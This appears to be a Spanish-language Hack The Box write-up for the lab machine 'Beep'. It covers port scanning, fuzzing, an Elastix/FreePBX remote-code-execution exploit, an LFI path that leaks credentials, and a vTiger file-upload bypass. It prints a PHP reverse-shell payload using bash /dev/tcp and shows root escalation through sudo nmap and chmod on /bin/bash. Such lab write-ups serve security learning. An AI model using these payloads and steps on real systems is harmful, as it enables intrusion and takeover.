Beep - Hack The Box

Esta máquina es relativamente fácil, pues hay bastantes maneras de poder vulnerarla. Lo que haremos, será usar un Exploit que nos conecte de manera remota a la máquina, será configurado y modificado para que sea aceptado, pues la página web que esta activa en el puerto 443, tiene ya expirado su certificado SSL. Una vez dentro, usaremos los permisos que tenemos para convertirnos en Root usando la herramienta nmap tal y como lo menciona el Exploit usado.

Herramientas utilizadas:

  • ping
  • nmap
  • wappalizer
  • whatweb
  • wfuzz
  • gobuster
  • searchsploit
  • svwar
  • nc
  • burpsuite
  • sudo
  • chmod
  • bash






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está conectada y vamos a analizar el TTL para saber que SO tiene dicha máquina.

ping -c 4 10.10.10.7 
PING 10.10.10.7 (10.10.10.7) 56(84) bytes of data.
64 bytes from 10.10.10.7: icmp_seq=1 ttl=63 time=137 ms
64 bytes from 10.10.10.7: icmp_seq=2 ttl=63 time=138 ms
64 bytes from 10.10.10.7: icmp_seq=3 ttl=63 time=136 ms
64 bytes from 10.10.10.7: icmp_seq=4 ttl=63 time=140 ms

--- 10.10.10.7 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3025ms
rtt min/avg/max/mdev = 135.993/137.635/139.741/1.376 ms

Estamos contra una máquina con Linux, interesante. Ahora vamos a realizar los escaneos.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.7 -oG allPorts            
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:51 CST
Initiating SYN Stealth Scan at 20:51
Scanning 10.10.10.7 [65535 ports]
Discovered open port 993/tcp on 10.10.10.7
Discovered open port 22/tcp on 10.10.10.7
Discovered open port 3306/tcp on 10.10.10.7
Discovered open port 25/tcp on 10.10.10.7
Discovered open port 143/tcp on 10.10.10.7
Discovered open port 111/tcp on 10.10.10.7
Discovered open port 995/tcp on 10.10.10.7
Discovered open port 443/tcp on 10.10.10.7
Discovered open port 110/tcp on 10.10.10.7
Discovered open port 80/tcp on 10.10.10.7
Discovered open port 4559/tcp on 10.10.10.7
Discovered open port 793/tcp on 10.10.10.7
Discovered open port 4445/tcp on 10.10.10.7
Discovered open port 4190/tcp on 10.10.10.7
Discovered open port 10000/tcp on 10.10.10.7
Discovered open port 5038/tcp on 10.10.10.7
Completed SYN Stealth Scan at 20:52, 24.11s elapsed (65535 total ports)
Nmap scan report for 10.10.10.7
Host is up, received user-set (0.18s latency).
Scanned at 2023-02-15 20:51:30 CST for 38s
Not shown: 64884 closed tcp ports (reset), 635 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
22/tcp    open  ssh              syn-ack ttl 63
25/tcp    open  smtp             syn-ack ttl 63
80/tcp    open  http             syn-ack ttl 63
110/tcp   open  pop3             syn-ack ttl 63
111/tcp   open  rpcbind          syn-ack ttl 63
143/tcp   open  imap             syn-ack ttl 63
443/tcp   open  https            syn-ack ttl 63
793/tcp   open  unknown          syn-ack ttl 63
993/tcp   open  imaps            syn-ack ttl 63
995/tcp   open  pop3s            syn-ack ttl 63
3306/tcp  open  mysql            syn-ack ttl 63
4190/tcp  open  sieve            syn-ack ttl 63
4445/tcp  open  upnotifyp        syn-ack ttl 63
4559/tcp  open  hylafax          syn-ack ttl 63
5038/tcp  open  unknown          syn-ack ttl 63
10000/tcp open  snet-sensor-mgmt syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
           Raw packets sent: 118826 (5.228MB) | Rcvd: 78868 (3.155MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Hay muchos puertos abiertos, tenemos bastantillo que investigar.

Escaneo de Servicios

nmap -sCV -p 22,25,80,110,111,143,443,793,993,995,3306,4190,4445,4559,5038,10000 10.10.10.7 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 20:55 CST
Stats: 0:03:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.00% done; ETC: 20:59 (0:00:04 remaining)
Nmap scan report for 10.10.10.7
Host is up (0.072s latency).

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 adee5abb6937fb27afb83072a0f96f53 (DSA)
|_  2048 bcc6735913a18a4b550750f6651d6d0d (RSA)
25/tcp    open  smtp              Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http              Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3              Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: TOP APOP RESP-CODES UIDL PIPELINING LOGIN-DELAY(0) USER EXPIRE(NEVER) AUTH-RESP-CODE STLS IMPLEMENTATION(Cyrus POP3 server v2)
111/tcp   open  rpcbind           2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            790/udp   status
|_  100024  1            793/tcp   status
143/tcp   open  imap              Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: NO UNSELECT QUOTA RIGHTS=kxte OK ANNOTATEMORE CHILDREN THREAD=REFERENCES URLAUTHA0001 X-NETSCAPE ATOMIC ID IMAP4rev1 LISTEXT UIDPLUS ACL MAILBOX-REFERRALS LIST-SUBSCRIBED CATENATE NAMESPACE IDLE SORT THREAD=ORDEREDSUBJECT SORT=MODSEQ LITERAL+ CONDSTORE IMAP4 BINARY Completed MULTIAPPEND STARTTLS RENAME
443/tcp   open  ssl/http          Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2024-04-03T06:12:27+00:00; -2m04s from scanner time.
|_http-title: Elastix - Login page
| http-robots.txt: 1 disallowed entry 
|_/
793/tcp   open  status            1 (RPC #100024)
993/tcp   open  ssl/imap          Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3              Cyrus pop3d
3306/tcp  open  mysql             MySQL (unauthorized)
4190/tcp  open  sieve             Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax           HylaFAX 4.3.10
5038/tcp  open  asterisk          Asterisk Call Manager 1.1
10000/tcp open  snet-sensor-mgmt?
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

Host script results:
|_clock-skew: -2m04s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 397.19 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Ok, para empezar, no tenemos ninguna credencial para el servicio SSH por lo que es el primero que descartamos, podríamos iniciar viendo que es ese servicio Postfix smtpd y después la página web del servicio HTTP. De ahí en adelante, también podríamos investigar el servicio Cyrus pop3d.

Investigación de Servicios

Vamos a iniciar con el servicio Postfix smtpd:

Servicio Postfix smtpd
Postfix es un agente de transporte de mensajes (MTA) de última generación, también conocido como servidor SMTP, que tiene dos propósitos: Es responsable de transportar mensajes de correo electrónico desde un cliente de correo o agente de usuario de correo (MUA) a un servidor SMTP remoto.


Ahora, veamos que es el protocolo POP3:

Protocolo POP3
POP3 es el protocolo de comunicaciones más extendido para leer correo electrónico y responde a las siglas Post Office Protocol.


Veamos que hace el protocolo IMAP:

Protocolo IMAP
IMAP le permite acceder a su correo electrónico desde cualquier lugar y desde cualquier dispositivo. Cuando lee un mensaje de correo electrónico mediante IMAP, en realidad no lo descarga ni almacena en el equipo; En su lugar, lo está leyendo en el servicio de correo electrónico.


Ahora con el servicio Cyrus:

Servicio Cyrus
Cyrus es un servidor de correo electrónico de código abierto configurable, que ofrece un gran conjunto de opciones para integraciones de terceros. Se recomienda para empresas que ofrecen servicios de correo electrónico a sus clientes.


Con esto, tengo entendido que Cyrus trabaja en conjunto con los protocolos POP3 e IMAP, para ofrecer servicios de correo electronico. Quiero suponer que esto se gestiona con la página web que se esta ejecutando, por lo que veamos de que se trata Elastix:

Servicio Elastix
Elastix es un software de servidor de comunicaciones unificadas que reúne PBX IP, correo electrónico, mensajería instantánea, fax y funciones colaborativas. Cuenta con una interfaz Web e incluye capacidades como un software de centro de llamadas con marcación predictiva


Y si, esto me confirma más que la página web, gestiona todo el servicio de telefonia y correo electronico de esta máquina.

Ya solamente falta ver que es Asterisk.

Programa Asterisk
Asterisk es un programa de software libre, que permite a los usuarios utilizar, copiar, estudiar, compartir y modificar el software, e incluso publicar las mejoras. Este programa proporciona las funcionalidades de una central telefónica (PBX). Asterisk permite crear sistemas de telefonía IP, Gateways, VoIP, servidores de conferencia y otras soluciones personalizadas.


Vemos muchos servicios, protocolos y programas que en mi caso son desconocidas o no había tratado, esta será una buena practica. Pasemos a analizar la página web.




Análisis de Vulnerabilidades


Analizando Servicio HTTPS

IMPORTANTE, tuve problemas para entrar pues salía el error SSL_ERROR_UNSUPPORTED_VERSION, el siguiente link explica como resolverlo, echale un ojo: SSL_ERROR_UNSUPPORTED_VERSION when attempting to debug with IIS Express


Muy bien, ya estamos dentro:

Veamos que nos dice Wappalizer:

Y veamos que nos dice la herramienta whatweb:

whatweb https://10.10.10.7
https://10.10.10.7 [200 OK] Apache[2.2.3], Cookies[elastixSession], Country[RESERVED][ZZ], HTTPServer[CentOS][Apache/2.2.3 (CentOS)], IP[10.10.10.7], PHP[5.1.6], PasswordField[input_pass], Script[text/javascript], Title[Elastix - Login page], X-Powered-By[PHP/5.1.6]

Usan PHP, entonces podemos hacer un Fuzzing para ver que otras subpáginas hay, pero antes de hacerlo, probemos si sirven las credenciales por defecto que tiene el servicio Elastix, las credenciales son:

  • eLaStIx
  • 2oo7

No sirvieron, bueno hagamos el Fuzzing.

Fuzzing

wfuzz -c --hc=404,403 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt https://10.10.10.7/FUZZ/
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.7/FUZZ/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                   
=====================================================================

000000061:   200        9 L      24 W       346 Ch      "help"                                                                                                                                                                    
000000013:   200        34 L     111 W      1785 Ch     "#"                                                                                                                                                                       
000000016:   200        165 L    1549 W     29898 Ch    "images"                                                                                                                                                                  
000000083:   200        176 L    1665 W     31006 Ch    "icons"                                                                                                                                                                   
000000014:   200        34 L     111 W      1785 Ch     "https://10.10.10.7//"                                                                                                                                                    
000000127:   200        26 L     189 W      3172 Ch     "themes"                                                                                                                                                                  
000000145:   200        78 L     761 W      13132 Ch    "modules"                                                                                                                                                                 
000000269:   200        16 L     73 W       1276 Ch     "static"                                                                                                                                                                  
000000259:   302        0 L      0 W        0 Ch        "admin"                                                                                                                                                                   
000000201:   200        64 L     165 W      2411 Ch     "mail"                                                                                                                                                                    
000000631:   200        13 L     46 W       698 Ch      "pipermail"                                                                                                                                                               
000001198:   200        36 L     256 W      4788 Ch     "lang"                                                                                                                                                                    
000004703:   200        16 L     79 W       1236 Ch     "var"                                                                                                                                                                     
000005520:   200        27 L     74 W       1065 Ch     "panel"
Parámetros Descripción
-c Para ver el resultado en un formato colorido.
–hc Para no mostrar un código de estado en los resultados.
-t Para indicar la cantidad de hilos a usar.
-w Para indicar el diccionario a usar en el fuzzing.


Vamos a ver que tal se ve con la herrrammienta Gobuster:

gobuster dir -u https://10.10.10.7/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20 -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.7/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
19:50:31 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 310] [--> https://10.10.10.7/images/]
/help                 (Status: 301) [Size: 308] [--> https://10.10.10.7/help/]
/themes               (Status: 301) [Size: 310] [--> https://10.10.10.7/themes/]
/modules              (Status: 301) [Size: 311] [--> https://10.10.10.7/modules/]
/mail                 (Status: 301) [Size: 308] [--> https://10.10.10.7/mail/]
/admin                (Status: 301) [Size: 309] [--> https://10.10.10.7/admin/]
/static               (Status: 301) [Size: 310] [--> https://10.10.10.7/static/]
/lang                 (Status: 301) [Size: 308] [--> https://10.10.10.7/lang/]
/var                  (Status: 301) [Size: 307] [--> https://10.10.10.7/var/]
/panel                (Status: 301) [Size: 309] [--> https://10.10.10.7/panel/]
/libs                 (Status: 301) [Size: 308] [--> https://10.10.10.7/libs/]
/recordings           (Status: 301) [Size: 314] [--> https://10.10.10.7/recordings/]
/configs              (Status: 301) [Size: 311] [--> https://10.10.10.7/configs/]
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
-k Para indicar que se deshabilite la comprobación de certificados


Hay un directorio que me llama la atención y es el /admin, entremos para ver de que se trata:

Nos piden credenciales que no tenemos de momento y si cancelamos, nos manda un mensaje de no autorizados a FreePBX:

Como de momento, no tenemos ninguna credencial para los logins que hemos encontrado, vamos a buscar un Exploit para el servicio Elastix.




Explotación de Vulnerabilidades


Buscando y Probando un Exploit

searchsploit elastix      
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Elastix - 'page' Cross-Site Scripting                                                                      | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities                                                    | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities                                              | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion                                                           | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection                                                                          | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection                                                                         | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution                                                     | php/webapps/18650.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Hay varios que me gustaría probar como el LFI, XSS y PHP Code Injection, pero creo que sería mejor si probamos con el RCE. Vamos a analizar y después los demás.

Probando Exploit: Elastix 2.2.0 - Remote Code Execution

searchsploit -x php/webapps/18650.py     
  Exploit: FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/18650
     Path: /usr/share/exploitdb/exploits/php/webapps/18650.py
    Codes: OSVDB-80544, CVE-2012-4869
 Verified: True
File Type: Python script, ASCII text executable, with very long lines (418)

Parece que este Exploit nos mete directamente usando la URL para inyectar un Payload que será una Reverse Shell. Esto ya es automatizado, solamente tendríamos que poner la IP de la máquina, nuestra IP y el puerto al que nos conectara usando una netcat.

Vamos a probarlo:

rhost="10.10.10.7"
lhost="Tu_IP"
lport=443

Cambia esos datos y ejecuta el script con Python2 y…nada, no me conecto a nada y no salió nada en la página. Supongo que es por el problema que tuve antes para poder entrar a la página, pues el certificado SSL parece ya no servir, quizá si lo modificamos puede que apruebe el Exploit y sirva, vamos a investigar un poco como podemos modificarlo.

Durante la búsqueda, encontré un GitHub que justamente cambia el Exploit para que este opere bien:

Para modificar el Exploit, se debe buscar una extensión que sirva con el servicio FreePBX que está relacionado con el servicio Elastix de esta máquina, pero ¿qué es FreePBX?

Servicio FreePBX
FreePBX es una GUI de código abierto basado en Web que controla y dirige Asterisk. También se incluye como una pieza clave de otras distribuciones como Elastix, Trixbox y AsteriskNOW.


Entonces, como el certificado SSL ya no sirve, por consiguiente, la extensión del Exploit tampoco (que es la extensión 1000), entonces usaremos otra extensión disponible para poder conectarnos al servidor y que con esto sirva el Exploit.

Para buscar una extensión, es necesario el paquete de herramientas sipvicious, de aqui usaremos la herramienta svwar, esta herramienta identifica las líneas de extensión en funcionamiento en un PBX. También, le dice si la línea de extensión requiere autenticación o no.

Pero, ¿qué es un PBX?

PBX
Un PBX tradicional se conecta a las líneas de teléfono fijo mediante hardware dedicado, generalmente una consola de enrutamiento. Todas las conexiones son cableadas, lo que crea una red de voz física separada de la red de datos empresarial. Mientras que muchos sistemas PBX tradicionales aún están en uso, se están volviendo obsoletos a medida que aparecen las opciones basadas en la nube con nuevas funciones.


Bueno, vamos a encontrar esas lineas de extensión:

svwar -m INVITE -e100-500 10.10.10.7
WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+

Aquí más información sobre la herramienta sipvicious:

Claro que en este caso ya no es necesario, pues ya hay una extensión que sirve dentro del Exploit modificado en el GitHub, lo único que tenemos que hacer es copiar los cambios, ósea, la extension, las 3 líneas de código abajo de la extensión y agregar el context al urlopen.

Ahora sí, levantamos la netcat otra vez:

nc -nvlp 443
listening on [any] 443 ...
  • Corremos el Exploit:
    python2 Exploit_Elastix1.py
    
  • Y ya estamos dentro:
    nc -nvlp 443
    listening on [any] 443 ...
    connect to [Tu_IP] from (UNKNOWN) [10.10.10.7] 49122
    whoami
    asterisk
    id
    uid=100(asterisk) gid=101(asterisk)
    

Con esto, quiero pensar que la versión que es vulnerable es la Elastix 2.2.0, entonces, vamos a probar el Exploit que hace un LFI.

Probando Exploit: Elastix 2.2.0 - 'graph.php' Local File Inclusion

Copialo en tu directorio de trabajo:

searchsploit -m php/webapps/37637.pl
  Exploit: Elastix 2.2.0 - 'graph.php' Local File Inclusion
      URL: https://www.exploit-db.com/exploits/37637
     Path: /usr/share/exploitdb/exploits/php/webapps/37637.pl
    Codes: N/A
 Verified: True
File Type: ASCII text

De acuerdo al Exploit, tenemos una forma de aplicar un Local File Inclusion (LFI) y poder ver una base de datos que contiene usuarios y contraseñas, esto utilizando la siguiente ruta:

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Pero, ¿qué es un LFI?

Local File Inclusion
Las vulnerabilidades LFI (Local File Inclusion o inclusión de archivos locales) son vulnerabilidades que permiten leer cualquier archivo que se encuentre dentro del mismo servidor, incluso si el archivo se encuentra fuera del directorio web donde está alojada la página.


Veamos el resultado de aplicarlo en la página web:

De aquí, podemos sacar mucha información, usuarios y contraseñas de acceso a BD o login, rutas donde estan guardados archivos de configuración, etc. Si quieres ver mejor la información, inspecciona el código de la página web:

Observa que ahí estan usuarios y contraseñas, vamos a probar algunos de estos para tratar de acceder al login que se nos muestra al entrar en la página:

Las credenciales son:

  • Usuario: admin
  • Contraseña: jEhdIekWmdjE

Si presionamos el botón de admiración, podemos ver mucha información de los servicios operando en el sistema:

Es una excelente forma de obtener información y como ya vimos, hay algunos Exploits que podemos aplicar a este servicio.

Pero, hay algo que se nos esta escapando, y es que si analizamos más la ruta para aplicar el LFI, veremos que hay un directorio llamado /vtigercrm.


Probando Exploit: vTiger CRM 5.0.4 - Remote Code Execution y vTiger CRM 5.2.0 - Remote Code Execution

Vamos a investigarlo para ver que nos puede mostrar:

Es un login de un nuevo servicio, veamos si las mismas contraseñas funcionan:

Si funcionan, veamos de que va este servicio y busquemos si hay una forma de vulnerarlo.

vtiger CRM
vtiger CRM es una aplicación CRM de código abierto bifurcada con la intención de hacer una herramienta con una funcionalidad similar a SugarCRM y Salesforce.com, pero de código abierto. En su versión gratuita ofrece una herramienta de informes, un portal para clientes y un plugin para Outlook, opciones que se hallan en las versiones de pago de las otras aplicaciones.


Investigando un poco, hay una forma subir un archivo malicioso que nos de una Reverse Shell:

Aunque esto es para una versión superior (vtiger CRM 5.2.0) y también anterior (vtiger CRM 5.0.4), vamos a probar si funciona, utilizando ambos como guia. Hagamoslo por pasos:

  • Creamos un archivo malicioso en PHP que contenga un Payload de Reverse Shell, llamalo cmd.php o como quieras:
    <?php
          system("bash -c 'bash -i >& /dev/tcp/Tu_IP/443 0>&1'");
    ?>
    
  • Entramos a la siguiente ruta de la página:
    /vtigercrm/index.php?action=upload&module=uploads
    
  • Abrimos burpsuite para capturar esta página:
    burpsuite &> /dev/null & disown
    
  • Cargamos el cmd.php y lo guardamos, con esto capturaremos el trafico y podremos manipular la petición:

  • Mandamos la petición al repeater y en la parte del filename_hidden, agregamos al nombre de cmd.php un slash inverso y un punto:

  • Enviamos la petición y entramos en la siguiente ruta en la página web: /storage. De aquí, entraremos en los directorios que encuentre hasta el que diga /week, entra en ese directorio y podras ver nuestra Reverse Shell.

Observa que lo intente varias veces…

  • Por último, levantamos una netcat y ejecutamos la Reverse Shell, seleccionandola desde la web:
    nc -nlvp 443
    

  • Resultado:
    nc -nvlp 443
    listening on [any] 443 ...
    connect to [Tu_IP] from (UNKNOWN) [10.10.10.7] 45214
    bash: no job control in this shell
    bash-3.2$ whoami
    asterisk
    

    Y listo, volvimos a ganar acceso.

NOTA:

Existe otra forma de poder ganar acceso a la máquina, esto a traves del puerto 10000, ya sea apicando un ataque Shellshock o buscando una manera de subir un archivo malicioso para obtener una shell, puedes intentar hacer esto.




Post Explotación


Abusando de los Privilegios del Usuario Asterisk, Usando nmap y chmod para Escalar Privilegios

Bueno, el mismo Exploit nos indica que hacer y es activar la herramienta nmap con SUDO de forma interactiva, para poder usar nmap desde la consola y no como comando, solamente escribimos !sh y podremos escalar privilegios para ser Root:

sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root

Ya solo es buscar las flags que la del Root se encuentra en /root y la del usuario en /home.

Lo que hicimos fue abusar de los privilegios que tiene el usuario Asterisk que como ya vimos está ligado al servicio Elastix, FreePBX y otros. Si recordamos su definición, este usuario tiene ciertos privilegios para poder operar.

Con el comando sudo -l podemos ver que permisos como Root tiene dicho usuario Asterisk:

sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"
User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

Tenemos varios permisos como Root y la mayoria son criticos. Existe una página muy útil que nos ayudara en este caso, para ver de qué otra forma podemos escalar privilegios para convertirnos en Root.

Esta página es GTFOBins:

Entonces veamos de que formas podemos escalar para ser Root, ojito que incluso ahí se ve una forma de usar la herramienta nmap, que fue el que uso el Exploit para convertirnos en Root, así que ¡¡PROBEMOS OTROS!!

  • Probando con chmod:
    ls -l /bin/bash
    -rwxr-xr-x 1 root root 729292 Jan 22  2009 /bin/bash
    sudo chmod u+s /bin/bash
    ls -l /bin/bash
    -rwsr-xr-x 1 root root 729292 Jan 22  2009 /bin/bash
    bash -p
    id
    uid=100(asterisk) gid=101(asterisk) euid=0(root)
    whoami
    root
    

    Por lo que leí en GTFOBins, se puede escalar usando chown, yum y service. ¡Intentalo!



  • https://stackoverflow.com/questions/63111167/ssl-error-unsupported-version-when-attempting-to-debug-with-iis-express
  • https://www.exploit-db.com/exploits/18650
  • https://github.com/OJ/gobuster/issues/129
  • https://www.offsec.com/vulndev/freepbx-exploit-phone-home/
  • https://www.kali.org/tools/sipvicious/
  • https://github.com/infosecjunky/FreePBX-2.10.0—Elastix-2.2.0—Remote-Code-Execution
  • https://gtfobins.github.io/
  • https://byte-mind.net/sipvicious-utilidad-de-auditoria-para-sistemas-voip/
  • https://products.containerize.com/es/transactional-email/cyrus-imap/
  • https://www.3cx.es/voip-sip/ip-pbx-overview/
  • https://www.dommia.com/es/faqs/que-es-el-pop3
  • https://support.microsoft.com/es-es/office/-qu%C3%A9-son-imap-y-pop-ca2c5799-49f9-4079-aefe-ddca85d5b1c9
  • https://www.masip.es/blog/que-es-asterisk/
  • https://www.masip.es/blog/asterisk-o-freepbx-para-que-sirven-y-en-que-se-diferencian/
  • https://www.cisco.com/c/es_mx/solutions/small-business/resource-center/collaboration/what-is-a-pbx.html#~what-can-a-pbx-do
  • https://packetstormsecurity.com/files/89823/vtiger-CRM-5.2.0-Shell-Upload.html
  • https://www.exploit-db.com/exploits/9450


FIN